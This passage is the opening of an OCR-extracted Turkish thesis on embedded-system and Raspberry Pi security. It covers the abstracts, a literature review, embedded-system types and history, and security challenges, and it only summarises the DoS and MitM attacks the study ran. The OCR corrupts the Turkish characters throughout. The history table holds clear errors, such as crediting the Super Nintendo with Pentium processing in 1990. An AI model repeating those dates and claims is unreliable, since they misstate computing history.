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OZET

Kritik sektorler basta olmak iizere ulasim, fabrika otomasyonu, ticaret ve finans, saglik
hizmetleri, akilli ev, akilli sehir ve diger bir¢cok alanda algilama, izleme, iletisim ve kontrol
icin yaygin olarak kullanilan goémiilii sistemler hayatimizin ayrilmaz bir parcasi haline
gelmistir. Bu sebeple bu sistemlerde yasanacak beklenmedik davraniglar yasamin giinliik
isleyisini etkilemekte ve biiyiik sorunlara neden olmaktadir. Ozellikle Endiistriyel IoT gibi
kritik altyapilarmn isletilmesinde de yaygin olarak kullanildiklar1 dikkate alindiginda, siber
acikliklarinin istismar edilmesi sonucunda bu sistemlerde meydana gelecek bir aksaklik,
kritik altyapilarin en 6nemli giivenlik bileseni olan islerlige 6nemli zararlar verebilecektir.
GOmiilii sistemlerin yaygin kullaniminin artmasiyla nesnelerin internetine baglantilar1 da
artmaktadir. Birbirine bagli cihaz sayisinin artisi da beraberinde giivenlik sorunlarini
getirmistir. GOmiili cihazlarda giivenligin 6nemine vurgu yapmak ve siber saldirilarin
cihazlar tlizerindeki etkilerini incelemek maksadiyla bu calismada, olusturulan sinama
ortaminda aga bagli bir gémiilii sisteme DoS (Denial of Service), MitM (Man in the Middle)
ve Process Oldiirme saldirilar1 gerceklestirilmistir. Deney ortaminda Raspberry Pi
bilgisayar1 aga bagli bir gomiilii sistem cihaz1 olarak tasarlanmistir. Agda yer alan bir
Windows bilgisayar ile veri aligverisi gerceklestiren Raspberry Pi’ye kotli niyetli Kali
makinesinden saldirilar gergeklestirilmistir. Cihaza yapilan saldirilarin sisteme etkileri ve
sonuclart analiz edilmistir. Raspberry Pi 6zelinde gerceklestirilen bu saldirilarin diger
gomiilii sistem cihazlariin giivenligine 151k tutmas1 amaglanmaktadir.
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ABSTRACT

Embedded systems, which are widely used for detection, monitoring, communication and
control in critical sectors, especially in transportation, factory automation, trade and finance,
healthcare, smart home, smart city and many other areas, have become an integral part of
our lives. For this reason, unexpected behaviors to be experienced in these systems affect
the daily functioning of life and cause serious problems. Considering that they are widely
used in the operation of critical infrastructures such as Industrial 10T, a malfunction in these
systems as a result of exploiting cyber vulnerabilities can cause significant damage to the
operability, which is the most important security component of critical infrastructures. With
the widespread use of embedded systems, their connections to the Internet of Things are also
increasing. The increase in the number of connected devices also emerges new security
problems. In this study, in order to emphasize the importance of security in embedded
devices and to examine the effects of cyber attacks on devices, DoS (Denial of Service),
MitM (Man in the Middle) and Process Kill attacks have been carried out on an embedded
system connected to the network in the established testbed. In the experimental environment,
Raspberry Pi is designed as an embedded system device connected to the network. Attacks
have been carried out from the malicious system (Kali) to the Raspberry Pi that have
exchanged data with a Windows computer on the network. The effects and results of the
attacks on the device on the system have been analyzed. These attacks carried out
specifically for Raspberry Pi are aimed to enlighten on the security of other embedded
system devices.
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1. GIRiS

Gelisen teknoloji ile birlikte cihaz ¢esitliliginin artmasi ve bu cihazlarin nesnelerin interneti
ile birbirine baglanmasi bilginin en degerli varlik oldugu cagimizda gomiili sistemlerde
giivenligin 6nemini hizla artirmistir. Bir¢ok farkli marka ve modelde iiretilen gomiilii sistem
kartlarinin olmasi bu iriinlerin fiyatlarim da oldukga cazip hale getirmistir. Kolayca
erisilebilen bu kartlarin en yaygin kullanilanlarinin basinda Raspberry Pi ve Arduino gibi
riinler gelmektedir. S6z konusu tek kartli bilgisayarlarla kolaylikla gomiilii sistem
uygulamalar1 gelistirmek miimkiin hale gelmistir. Bu sistemlerin kullaniminin artmasi ve
sagladig1 etkinlik, diisiik maliyet, hiz gibi faydalar insan hayatina 6nemli katkilar
saglamaktadir. Bu faydalarin yaninda, siber giivenlik acisindan zafiyetlerinin var olmasi,
iireticiler tarafindan gerekli siber giivenlik testlerinin gerceklestirilmemesi 6nemli bir

eksikliktir.

Raspberry Pi, gelisiminden giiniimiize kadar akilli ev ¢oziimleri, robotik sistemler ve
nesnelerin interneti alanlarinda genis c¢apli projelerde kullanim alani elde etmistir.
Maliyetinin diisiik, boyutunun kiiciik ve erisilebilirliginin kolay olmasi1 Raspberry Pi’nin
gémiilii sistem uygulamalarinda kullanimini artirmistir. Gomiilii sistem uygulamalarinda
kullaniminin artmasiyla birlikte, bu tek kartli bilgisayar sisteminin zafiyetlerinden
yararlanmak isteyen saldirganlarin sayisi artmistir. Bu sebeple Raspberry Pi’nin gomiilii
sistemlere basarili bir sekilde entegrasyonu i¢in giivenlik boyutu ¢ok 6nemlidir. Gomiilii
sistem giivenligi ise hala gelismekte olan bir kavramdir. Yasanan bu gelismeler
dogrultusunda oncelikle bu c¢aligmanin ikinci boliimiinde bir literatiir taramasi
gerceklestirilmigtir.  Bu boliimde, gomiilii sistemlerin gilivenligine yonelik hangi
aragtirmalarin yapildig1 incelenmis ve gomiilii sistem uygulamalarinda kullanilan Raspberry
Pi’nin hangi c¢alismalara konu olduguna deginilmistir. Ayrica Raspberry Pi’nin siber
giivenlik kavrami etrafinda hangi ¢alismalarda ne amaclarla kullanildigina yonelik bir

inceleme gergeklestirilerek sonuglar bir ¢izelgede kategorize edilmistir.

Calismanin tigiincii boliimiinde gomiilii sistemlerin genel 6zellikleri, kullanim alanlar1 ve
gelisim siireci ele alinmis, sistemlerin giivenlik zafiyetlerinin neler olduguna deginilmistir.
Calismanin dordiincii boliimiinde Raspberry Pi’ye odaklanilmis, 6zelliklerinden ve gelisim
stirecinden bahsedilmistir. Calismanin besinci boliimiinde ise uluslararasi giivenlik testi

metodolojilerinden OWASP, OSSTMM, ISSAF, NIST SP 800-115 ve PTES’e deginilmistir.



Son olarak calismanin altinct boliimiinde gomiilii sistem uygulamalarinda kullanilan
Raspberry Pi bilgisayarina yonelik dnemli saldir tiirleri olan DoS, MitM ve Siire¢ Oldiirme
saldirilar1 gergeklestirilmistir. Olusturulan deney ortaminda Raspberry Pi’ye GPIO pinleri
araciligiyla led devresi baglanmis olup bilgisayar gémiilii sistem cihazi olarak tasarlanmustir.
Agda yer alan bir Windows makineye siirekli olarak led verilerini génderen Raspberry Pi,
saldirgan Kali bilgisayarinin DoS, MitM ve Siire¢ Oldiirme saldirilarina maruz birakilmistir.
Gergeklestirilen s6z konusu saldirilar analiz edilerek Raspberry Pi’nin bu saldirilara karsi
davraniglar1 ve sistem lizerindeki etkileri incelenmistir. Calisma Raspberry Pi 6zelinde
gerceklestirilmesine ragmen diger gomiilii sistemler iginde yol gosterici bir nitelik

tagimaktadir.



2. LITERATUR TARAMASI

Genel amach bilgisayarlarin ve yazilim uygulamalarinin giivenligi konusunda ¢ok sayida
aragtirma yapilmis olmasina ragmen, donanim ve gomiilii sistem giivenligi nispeten yeni ve
gelismekte olan bir arastirma alanidir. Bu ¢alisma kapsaminda yapilan literatiir taramasi
neticesinde gémiili sistemlerde siber giivenlik ¢atis1 altinda yapilan bazi galismalarin oldugu
gorilmiistiir. Bu caligmalar ise sistemlere yapilan saldirilar, sistemlerin zafiyetleri ve siber

giivenliginin incelenmesi kapsaminda yogunlagsmaktadir.

Ornegin, Cakir ve Ozcanhan yaptiklari ¢aligmada gomiilii sistemlere yapilan saldirilart
incelemis ve ag baglantili gdmiilii sistemlerin giivenliginin saglanmasina yonelik bir standart
gelistirmeye calismiglardir. IPsec standardinin sadelestirilerek, gomiilii sistem igeren

cihazlarin tiimiine giivenlik 6zelligi kazandirilmasi1 amaglanmustir [1].

Chen ve arkadaslar ise gomiilii sistemlerde ag giivenligine ve ag saldirilarina yonelik bir
calisma yapmistir. Gomiilli sistemlerde ag giivenliginin iyilestirilmesine yonelik adimlarin
ag saldirilarinin nasil gergeklestiginin iyi bir sekilde anlasilmasindan gegtigini ve bir
giivenlik protokolii olusturularak gdmiilii sistem aglarimin gilivenliginin giiclendirilmesi

gerektigini ifade etmislerdir [2].

Diger bir ¢calismada ise yazarlar DoS ataklarinin mobil robot diigiimleri tizerindeki etkilerini
incelenmis ve hangi parametrelerin (CPU, RAM, Giig¢ Tiiketimi) saldiridan etkilendiginin
tespit edilmesine yonelik bir deney gerceklestirmislerdir. Bu analiz, saldirilar tespit etmek

icin hangi parametrelerin degerlendirilmesinin uygun oldugunu anlamay1 miimkiin kilmigtir

[3].

Literatiirde Raspberry Pi 6zelinde yapilan g¢alismalar incelendiginde cihazin giivenlik
kapsamlar1 ele alinmadan genellikle basit bir gomiilii sistem cihazi olarak kullanildig:
goriilmektedir. Ornegin Vujovic ve Maksimovic yaptigi ¢alismada ev otomasyonu
sisteminde Raspberry Pi’yi binalarda yangin izleme ve tespit sistemi olarak tasarlamistir [4].
Calisma kapsaminda aga bagli olan cihazin kotii niyetli saldirganlar tarafindan ele gegirilme
ihtimalini diisiinmemis cihaz1 bir etkilesim aract olarak kullanmigtir. Diger bir makalede
Gupta ve digerleri, Raspberry Pi kullanarak Elektrokardiyogram ve diger hayati

parametreleri siirekli olarak izlemek igin bir sistem tasarlanmistir [5]. Bu sistemin diisiik gii¢



tilkketimi ve c¢oklu gorev kabiliyeti olan Raspberry Pi cihazi sayesinde tiim hastanelere
kolaylikla kurulabilir olduguna deginilmistir. Bu ¢alismada da yazarlar cihaza giivenlik
bakis agisiyla yaklasmamis, cihazin maliyetinin uygun olmasi ve islevselligine vurgu

yapmistir.

Tiim bu arastirmalar kapsamda Raspberry Pi’nin siber giivenlik kavrami gercevesinde
literatiirde hangi calismalara konu olduguna yonelik bir literatiir taramasi
gerceklestirilmistir. Yapilan calismalar degerlendirildiginde cihazin daha ¢ok bir siber
giivenlik araci olarak (saldir1 tespit ve 6nleme sistemi, balkiipti, trafik analizi) yapilandirilip
kullanildig1r goriilmiistiir. Ayrica cihazin risk degerlendirmelerinin yapildigi, giivenlik
acikliklarinin incelendigi ve cihaza yapilan saldirilarin oldugu birtakim caligmalar da
bulunmaktadir. Arastirma sonucunda incelenen calismalar ise alt kategorilere ayrilarak
calisgmanin amaci, kullanilan ydntem ve uygulama ortamina gore Cizelge 2.1°de

siiflandirilmstir.



Cizelge 2.1. Raspberry Pi’nin siber giivenligi iizerine yapilan ¢aligmalar
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Cizelge 2.1. (devam) Raspberry Pi’nin siber giivenligi iizerine yapilan ¢aligmalar
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Cizelge 2.1’ de yer alan c¢alismalardan birinde Sanada ve digerleri, Raspberry Pi'ye soldan
saga ikili yontem ve Montgomery'nin gii¢ veren merdiven algoritmasi gibi iki modiiler
istellestirme algoritmasin1 uygulamis ve yan kanal saldirisina karsi giivenliklerini
degerlendirmistir. Bu iki algoritma arasinda soldan saga ikili yontemin fiziksel saldiriya

kars1 ¢ok giivenli olmadigi tespit edilmistir [11].

Biiytikkaya tarafindan gercgeklestirilen calismada, Raspberry Pi {izerinde c¢alisan AES
algoritmasina farksal yan kanal analizi yontemlerinden birisi olan DEMA (Differential
Electromagnetic Analysis) saldirist uygulanmistir. Raspberry Pi’nin bir bilgisayar gorevi
gormesi nedeniyle isletim sistemi ayn1 zamanda farkli gorevlerde yerine getirmektedir. Bu
durumun yan kanal analizi i¢in bir dnlem olup olmayacagi incelenmis olup algoritmanin

onlem alinmaksizin yan kanal analizi saldirisina karsi koyamadigi goriilmiistiir [12].

Farkl1 bir ¢alismada ise Martin ve digerleri kotii amagli yazilimlarin analizini ve internet
iizerinden yeni cihazlara nasil bulastigini ele almistir. Ayrica Raspberry Pi tabanli IoT
cihazlarinin yanlis yapilandirilmasinin ¢ok hizli bir sekilde somiiriilmesine yol acabilecegini

ortaya koyulmustur [15].

Yukarida 6zetlenen literatiir calismalarindan agikga goriilebilecegi gibi, kritik sistemlerde
kullanilan ve kullanilmasi diisiiniilen Raspberry Pi’nin siber giivenligi son derece 6nemli
olup bu konuda yaygin g¢ahismalar pek fazla bulunmamaktadir. Bu nedenle bu tez
calismasinda Raspberry Pi’ye yonelik olusabilecek tehditler belirlenmis ve deney ortaminda

bu tehditler cihaza uygulanmstir.
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3. GOMULU SISTEMLER

3.1. GoOmiilii Sistemlere Genel Bakis

Gomiilii bir sistem, tek bir islevi yerine getirmek i¢in tasarlanmis donanim ve yazilim
bilesenlerinden olusan, biiyiik bir sistemin kiigiik pargasini olusturan ve minimum insan
etkilesimi sunan cihazlar olarak tanimlanmaktadir [29]. Daha anlasilir bir sekilde ifade
etmek gerekirse bir mikroislemciyi standart bir bilgisayarin igine yerlestirmek yerine
camasir makinesi, otomobil, klima gibi bilgisayarla ilgisi olmayan bir iriiniin icine
yerlestirip, bu tiriin kontrol edilecek sekilde 6zellestirildiginde bir gomiilii sistem elde etmis
olunur [30].

Ik kitlesel gomiilii sistem iiretiminin gerceklestirilmesinden sonra birimlerin fiyatlarinda
yasanan disiis teknolojik iirlin ¢esitliligini arttirmis ve fiyatlarini ucuzlatmistir. Bu sebeple
bu sistemler, tibbi ekipmanlardan hava savunma sistemlerine, ev otomasyon tiriinlerinden
eglence sektdriine, glivenlik sistemlerinden otomotiv sektoriine kadar genis bir yelpazede
kullanim alani elde etmistir. Gomiilii sistemlerin kullanildig: sektorler ve uygulama alanlar

Cizelge 3.1°de gosterilmistir.

Cizelge 3.1. Gomiili sistemlerin kullanim alanlar1 [31,32]

Sektorler Uygulamalar

Ofis Otomasyonu Faks, Fotokopi Makinesi, Tarayici, Yazici Vb.

Ev Aletleri Bulasik Makinesi, Camasir Makinesi, Mikrodalga Firin Vb.

.. . Yiiz Tanima Sistemi, Parmak {zi Tanima, Gz Tanima, Alarm

Giivenlik . .
Sistemleri Vb.

Akademik Akilli Tahtalar, Hesap Makinesi Vb.

Telekomiinikasyon Router, IP Telefon, Web Kamera, Hub VDb.

Otomotiv Yakin Enjeksiyon Kontrolii, Hava Yastig1 Sistemi, GPS, Seyir
Kontrolii, Atesleme Sistemleri, Farlar, Motor Kontrolii

Havacilik Navigasyon Sistemleri, Otomatik Inis Sistemi, Uzay Robotigi

Endiistriyel Otomasyon | Montaj Hatti, Veri Toplama Sistemi, Voltaj, Sicaklik Vb.

MR Cihazi, Kan Basinci Izleme, Diyaliz Makineleri, Protez

T1ibbi Malzeme Cihazlar Vb.




Gomiili sistemleri diger sistemlerde ayiran belirli bagh 6zellikleri mevcuttur. Bunlar;

Kullanim Omiirleri boyunca sabit ve oOzel gorevleri yerine getirmek {izere
tasarlanmislardir. Ornegin bir camasir makinesi sadece ¢amasir yikamakla gorevlidir.
Giic tiiketiminde verimli, boyut ve agirlik olarak kiigiik olup diistik maliyetlidirler [33].
GoOmiili sistemler, zor hava sartlarinda ¢calismak zorundadir.

Bazi gomiilii sistemler daha biiyiik bir sistemin bilesenlerini olusturmakta olup daha
biiyiik bir sistemin diizgiin ¢alismasi i¢in birlikte ¢alismak zorundadir. Ornegin bir
otomobilin gosterge panosunu kontrol eden birgok gdmiilii sistem vardir. Otomobilin
diizgiin ¢aligmasi tiim sistemlerin birlikte sorunsuz ¢aligmasina baglidir.

Gomiili sistemlerin giic kullanimi ve 1s1 yayilimi disiiktiir [34]. Fazla 1s1 dagitilirsa

devreye sogutma fanlar1 gibi ek iinitelerin eklenmesi gerekir. Daha fazla giic

gerekiyorsa, daha yiiksek giigte bir pil sisteme yerlestirilmelidir.

Gomiili sistemlerin bu Karakteristik 6zellikleri Cizelge 3.2°de genel amagl bilgisayarlarin

oOzellikleri ile karsilastirilmistir.

Cizelge 3.2. Genel amagl bilgisayarlar ve gomiili sistemlerin karsilagtiriimasi [35,36]

Genel Amach Bilgisayarlar

Gomulu Sistemler

Cesitli uygulamalar yiiriitmek i¢in genel
bir donanim ve genel amach bir isletim
sisteminden olusur.

Belirli bir dizi uygulamay yiirtitmek i¢in
6zel amagli bir donanim ve goémiilii isletim
sisteminin birlesiminden olusur.

Son kullanici isletim sistemini kurabilir,
uygulamalari ekleyip kaldirabilir.

Firmware 6nceden programlanmistir ve
son kullanici tarafindan degistirilemez.

Gorevlerin belirli zaman iginde
gerceklesmesi kritik degildir.

Gorevler zamaninda yerine getirilmek
zorundadir.

Performans en 6nemli faktordir.

Maliyet, hiz, boyut, gii¢ gereksinimi de
Oonemlidir.

Isletim sistemi igerir.

Isletim sistemi olabilir veya olmayabilir.

3.2. Gomiilii Sistem Cesitleri

Gomiilii sistemler giinliik hayatimizda bir dizi farkli gorevi yerine getirmek igin

kullanilmaktadir. Bu sebeple gomiilii sistemler performans ve islevsel gereksinimlerine gore

dort ana kategoride siniflandirilir. Bunlar;
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e Bagimsiz gomiilii sistemler
e  Gergek zamanlh gomiilii sistemler
e Ag baglantili gomiilii sistemler

e  Mobil gomiili sistemler

3.2.1. Bagimsiz gomiilii sistemler

Kendi baslarina g¢alisip sadece girdi alip ¢ikti iireten tepki siiresinin dnemli olmadigi
sistemlerdir. Dijital veya analog verileri baglant1 noktalarindan alir, isler ve elde edilen

verileri ¢ikis noktasina verir [37].

3.2.2. Ger¢ek zamanh gomiilii sistemler

Belirli islevleri belirli bir zamanda yerine getirmek zorunda olan, tepki siiresinin hayati
onem tasidigi, kritik uygulamalarda kullanilan sistemlerdir. Kritik durumlara hizla yanit

verdikleri i¢in askeri, tibbi ve endiistriyel uygulamalarda kullanilmaktadir.

3.2.3. Ag baglantih gomiilii sistemler

Kaynaklara erigsmek igin ag baglantis1 (Yerel Alan Agi, Genis Alan Ag1, Internet) kullanan
sistemlerdir. Baglantilar kablolu veya kablosuz olabilir. Bu tiir gémiilii sistemler, TCP / IP
veya UDP kullanilarak bir ag iizerinden birbirine baglanan sensorler, denetleyiciler,

aktiiatorler vb. gesitli bilesenlerden olusur [32].

3.2.4. Mobil gomiilii sistemler

Cep telefonlari, tabletler, dijital kameralar, akilli telefonlar gibi tasinabilir gdmiilii cihazlarda
kullanilir. Bellek kisitlamalari, kiiciik boyut ve klavye bulunmamasi ile iyi bir kullanici

arayiizliniin olmamasi bu sistemlerin dezavantajlaridir.

3.3. Gomiilii Sistemlerin Tarihcesi

Gomiilii sistemlerin gelisim siireci 1960’lara dayanmaktadir. Bu gelisim siirecinden

maddeler halinde asagida bahsedilmistir [38].
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[lk olarak Charles Stark Draper, Apollo Komuta Modiilii ve Ay Modiilii iizerine kurulu
dijital sistem olan Apollo Rehberlik Bilgisayarinin boyutunu ve agirhigini azaltmak igin
1961'de bir entegre devre gelistirdi.

Ardindan 1965 yilinda Autonetics firmasi tarafindan, Minuteman fiize rehberlik
sisteminde kullanilan D-17B gelistirilerek seri tiretilen ilk gomiili sistem olmustur.
D-17B, 1966 yilinda entegre devrelerin yiiksek hacimli kullanimiyla bilinen NS-17 fiize
rehberlik sistemi ile degistirildi.

1968 yilinda ise Volkswagen 1600, elektronik yakit enjeksiyon sistemini kontrol etmek
icin bir mikroiglemci kullanmasiyla birlikte araglarda kullanilan ilk gomiilii sistemi
piyasaya siirmiis oldu.

Ik mikro denetleyici ise 1971'de Texas Instruments tarafindan gelistirildi. 1974'te ticari
olarak satisa sunulan TMS 1000 serisi, 4 bitlik bir islemci, ROM bellek ve RAM bellek
iceriyordu ve maliyeti yaklasik 2 dolardi.

Ayrica, 1971'de Intel, yaygin olarak piyasada bulunan ilk islemci olan 4004'i piyasaya
stirdii. 4-bit mikroiglemci hesap makinelerinde ve kiicliik elektronik cihazlarda
kullanilmak tizere tasarlandi.

1972'de piyasaya siiriilen 8-bit Intel 8008, 16 KB bellege sahipti.

1974 yilinda 64 KB bellek ile Intel 8080 gelistirildi. 8080'in halefi x86 serisi, 1978'de
piyasaya siiriildii ve bugiin hala biiyiik 6l¢tide kullaniliyor.

1987'de ilk gomiilii isletim sistemi olan gercek zamanli VxWorks, Wind River
tarafindan piyasaya siiriildii ve bunu 1996'da Microsoft'un Windows Embedded CE
izledi.

1990"arin sonunda, ilk goémiilii Linux riinleri ortaya ¢ikti. Glinlimiizde ise Linux

neredeyse tiim gomiilii cihazlarda kullanilmaktadir.

Cizelge 3.3’de gomiilii sistemlerin tarihgesi, giiniimiizde yasanan gelismeler ve gelecekteki

durum hakkinda bilgi verilmektedir.

Cizelge 3.3. Gomiilii sistemlerin gelisim siireci [39]

Nu. Yil Gecmis

MIT Laboratuvarinda gelistirilen Apollo Rehberlik Bilgisayariin
boyutunu ve agirligint azaltmak i¢in kullanilan entegre devreler.

1960 | i1k Gomiilii Sistem)
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Cizelge 3.3. (devam) Gomiilii sistemlerin gelisim Siireci [39]

1961 Minuteman fiizesi i¢in transistor mantigindan yapilan Autonetics D-
2 1961 | 17 giidiim bilgisayar1.
(ilk Toplu Uretilen Gomiilii Sistem)
3 1965 DEC’in 12 bit PDP-8 mini bilgisayar1.
(Ticari Uriinlerdeki Ik Gomiilii Bilgisayar)
4 1966 D17'nin yerini alan Minutemen I1.
(Entegre Devrelerin Ilk Yiiksek Hacimli Kullanimi)
B.Noyce ve G.Moore, Entegre Elektronik'i kurdu.
5 1968 (Intel’in Ortaya Cikis1 Basladi.)
Wolksvagen 1600’iin yakit enjeksiyonu mikroislemci tarafindan kontrol
6 1969 | edildi.
(Arabalardaki Ik Gomiilii Sistem)
7 1971 Iptel 4004 mikroislemci, Hesap Makineleri i¢in tasarlandi .
(Ilk 4-bit mikroislemci)
3 1974 Intel 8008 ve 8080'1 tasarladi. '
Motorola, MC6800 Mikroislemciyi tanitti. (Ilk 8 bit mikroiglemci)
9 1974 CLIP-4 ayni1 anda birden fazla hesaplama gergeklestirdi.
(Ilk Paralel Mimarili Bilgisayar)
10 1975 Bill Gates ve Paul Allen, MITS'e ilk BASIC derleyicisini ortaya ¢ikardi.
(Microsoft Dogdu.)
ALTAIR 8800 piyasaya stirtildii.
1 1975 (ilk Ev Bilgisayar1)
Mikroislemciler hiz ve boyut i¢in optimize edildi.
12 1980 | Mikrokontroller gii¢c ve boyut i¢in optimize edildi.
(Mikrokontrol tasarimi)
Hewlett Packard’in HP-150's1, parmak hareketini algilamak i¢in monitdriin
13 1983 | 6n tarafinda bir Kiz1l6tesi 151n kullandi.
(Dokunmatik ekran teknolojisine sahip ilk Ev bilgisayar1)
14 1987 | VXWorks tarafindan gomiilii isletim sistemi gelistirildi.
T.Berners-Lee, World Wide Web'i icat etti.
15 1989 (Internetin Dogusu.)
1989 DOT matrix Yazict gibi Gomiilii Sistem, giic kullanim1 ve siki
16 1989 elektrik zamanlama kisitlamalar1 nedeniyle 8 bit ile sinirlandirildi.
Super Nintendo Entertainment System bilgisayari, 80386 16-bit isleme ve
Pentium 32-bit isleme kullanmaya basladi.
Sistemin tasarimi ve 6zellikleri, bilgi islem kaynag1 olarak bir ag kullanan
17 1990 | dagitik bilgi islem teknolojisi ile gelistirilmistir.
(World Wide Web ile Gomiilii Sistem Tanitildi)
18 1992 10 milyon telefon kullanilmaya bagsland.
(GOmiilii Sistem Kablosuz Kullanim.)
19 1993 Apple, dokl_mmatik ekran tek_r_lo.lojisine sahip PDA'y1 piyasaya siirdii.
(Dokunmatik Ekran Teknolojisi)
20 1996 199_6 Microsoft yerlesik pazara girdi.
(Windows Embedded CE1.0 Tasarlandi.)
21 1998 FSM Labs RTLINUX'da kullanilan yontemin patentini ald1.
(RT'nin Dogusu)
22 1999 | Gomiilii Linux iiriinii pazarda piyasaya siiriildii. (ilk Gémiilii Linux Uriinii)
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Cizelge 3.3. (devam) Gomiilii sistemlerin gelisim Siireci [39]

23 2000 Time Sys, LINUX'un ilk ger¢ek zamanli siirtimiinii piyasaya stirdi.
(Ilk LINUX / RT1.0)
24 2005 ANDROID teknolojisi 6ne ¢ikt1
(Google, ANROID'i Satin Aldi.)
o5 2007 Apple ilk iPhone’u piyasaya stirdii.
(Hepsi Bir Arada Gomiilii Mobil Cihaz)
T-mobile G1, ilk ANROID telefonu piyasaya siirdii ve ANROID kodu agik
26 2008 . o
kaynak olarak ilan edildi
Gliniimtiz
27 | Gomiilu Sistem i¢in elektronik ¢ipler tiretilmektedir.
28 Otomobil, tren, traktor, vingler, robotlar vb. tanidik nesnelerin icine gizlenmis gomiili
sistemler yayginlasti.
29 Saatler, kurutucular, firinlar, buzdolabi, mikrodalgalar vb. nesnelerde gomiilii
sistemler yayginlast.
30 | Tibbi goriintiileme cihazlarinda gomiilii sistem kullanim1 yayginlasti.
Gelecek
31 | Otonom gdmiilii sistem aglarinin olacagi dngdriilmektedir.
32 | insan miidahalesi olmadan birbirleriyle etkilesime giren nesnelerin kullanimi artacak.
33 | Otomobiller birbirleriyle iletisim kuracak, yol kenar1 ve sehir trafigi diizenlenecek.
34 Sensorler nehir taskinlarini, orman yanginlarini, bina yapisal sagligini vb. tespit
edebilir duruma gelecek.

3.4. Gomiilii Sistemlerde Siber Giivenlik

Gomiili sistemlerin artan kullanimiyla birlikte kotii niyetli kisilerin bu sistemlerden

yararlanmaya calismak istemeleri de olas1 bir durum haline gelmistir. Ozellikle finansal,

endiistriyel ve niikleer tesislerde kullanilan gémiilii sistemler, gerceklestirdikleri islevler

nedeniyle daha fazla saldir1 hedefi haline gelmektedir. 1990' yillarda 6zellikle yan kanal

saldirilarinin akilli kartlara karsi basarili oldugu gosterildikten sonra gomiilii sistem

giivenligi 6nem kazanmis, aga bagli gdmiilii sistemlerin ortaya ¢ikmasi ile birlikte gomiilii

cihazlarin artik uzaktan saldirilara da maruz kalabilecegi ortaya koyulmustur [40]. Gomiili

sistemlerin artan kullanim1 ve siber uzayda yer alan sistemlere yapilan saldirilarin arttig1 goz

Oniine alindiginda giivenlik bu cihazlar i¢in 6nemli bir gerekliliktir. Fakat bu sistemlerde

giivenlik her zaman siki1 bir sekilde uygulanmadigindan, bu da onlar bilinen ve bilinmeyen
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bircok tehdide karsi savunmasiz hale getirir [41]. Cok sayida gomiilii sistem, sinirh
donanimsal kaynaklar1 ve artan karmasik tasarimlariyla daha savunmasiz hale gelmistir.
Bunun yani sira aga baglantilarinin artmasiyla birlikte saldirganlar igin yeni saldir1 vektorleri
de ortaya ¢ikmistir. Gegmiste gomiilii sistemler kapal1 aglarda konumlandirilmakta ve diger
sistemlerle iletisim kurmadan gorevlerini gergeklestirmekteydiler. Fakat gilinlimiizde
internet ve diger aglar aracilifiyla farkli sistemlere ve cihazlara baglanarak dis diinya ile
iletisim kurar hale gelmislerdir [42]. Aga baglantilarinin artmasit ve kritik veriler
barindirmalar sebebiyle gomiilii sistemler saldirganlarin daha ¢ok hedefi haline gelmistir.

Bu kapsamda ag giivenliginin 6nemi ise giderek artmaktadir.

Gomiilii bir sistem eger disaridan gelen saldirilarin neden oldugu zararlara karsi korunuyorsa
giivenlidir denebilir. Nesnelerin interneti ile birlikte sistemlerin birbirine baglanmasi
disaridan gelen saldirilarda artislara sebep olmustur. Bu baglantilar islerlik ve
kullanilabilirlikte onemli avantajlar saglarken daha fazla bileseni baglamak daha fazla saldirt
ve hasar anlamina gelmektedir [43]. Bu kapsamda giivenli ve giivenilir bir sistem olusturmak
icin, hem bilesenlere tasarim asamalarinda giivenlik saglanmasi hem de gomiilii sistemin
yasam dongiisii boyunca diizenli giivenlik denetimleri ve incelemeleri yapilmasi esastir [33].
Bununla birlikte bu sistemler, tasarim hedeflerini gergeklestirebilmeli ve saldir1 altindayken

de belirli bir esneklikle ¢alisabilmelidir [44].

3.5. Gomiilii Sistem Giivenliginde Karsilasilan Zorluklar

Gomiilii sistemler, tibbi cihazlar, uzay ve silah sistemleri, haberlesme sektorii, hava alanlar
gibi farkli sektorlerde kullanilmaktadir. Bu acgidan bakildiginda giivenlik, gomiilii
sistemlerin yaptiklar1 gorevler ve kritik sistemlerdeki rolleri agisindan 6nemli bir konudur.
Geleneksel bilgi teknolojileri sistemleri ile karsilastirildiginda, gomiilii sistemlerde

giivenligin saglanmasi kolay degildir. Burada karsilasilan en 6nemli zorluklar sunlardir;

e Zayif glivenlik tasarimi

e Pazarlama siiresi

e  Giivenlik maliyeti

e (Cihazlarm giincellenme zorlugu
e  Sinirli Kaynaklar

e Standart Olmayan Isletim Sistemleri
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3.5.1. Zayif giivenlik tasarimi

GOmiili cihazlar tasarlanirken genellikle giivenlik ikinci plandadir. Toplu fiiretimi
gerceklestirilen bu sistemlerde, aynmi versiyona sahip cihazlar ayni tasarima sahip
oldugundan bu cihazlardan birinin ele gegirilmesi, saldirinin milyonlarca cihazda kolayca

tekrar edilmesi anlamina gelmektedir.

3.5.2. Pazarlama siiresi

GoOmiilii sistemler pazari {riin ¢esitliliginin artmasiyla oldukc¢a gelismistir. Bu sebeple
pazara ilk ulasan {riin kazanandir. Pazara sunma siiresi, lireticileri giivenlik ¢éziimlerinin
uygulanmasini engellemeye zorlayan bir kriterdir. Pazara sunma siiresinde gecikmeye neden

olmayacak giivenlik ¢dziimleri, tireticiler i¢in ¢gok 6nemli ve degerlidir [45].

3.5.3. Giivenlik maliyeti

Giivenlik faktorii, daha fazla yonetime ihtiya¢ duyar. Bu da iiriiniin gelistirme asamasinda
ve yonetim adiminda ekstra maliyetine yol agmaktadir. Ureticiler mevcut islevleri giivence
altina almak yerine cihazlara daha fazla islevsellik eklemeyi tercih etmektedir. Ureticilerin
maliyetli ¢Oziimlerden kaginmak istemesi nedeniyle ucuz giivenlik ¢6ziimlerinin

gelistirilmesi, sistemleri daha giivenli hale getirecektir [45].

3.5.4. Cihazlarin giincellenme zorlugu

Gomiilii  sistemlerin  ¢ogu, diizenli olarak gilincellenmemektedir. Gomiilii cihaz
konumlandirildiktan sonra, yillarca {izerinde birlikte geldigi yazilim ile ¢aligmaya devam
eder. Her sey diizgiin ¢alisiyor gibi goriindiigii siirece zaman alan, pahali ve pratik olmayan

bir yiikseltmeden ge¢mek icin yeterli bir sebep olmadig1 goriisii hakimdir.

3.5.5. Smrh kaynaklar

Gomiilii sistemler smirli kaynaklara sahiptir. Kiigiik bellekler ve ikincil depolama
aygitlarinin olmayisi, virlis veya Truva atinin bu kaynaklardan herhangi birini tiiketerek DoS

saldirisina neden olabilecegini gostermektedir.
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3.5.6. Standart olmayan isletim sistemleri

Geleneksel BT sistemlerinde kullanilan bilgisayarlar genellikle popiiler bir islemci markasi
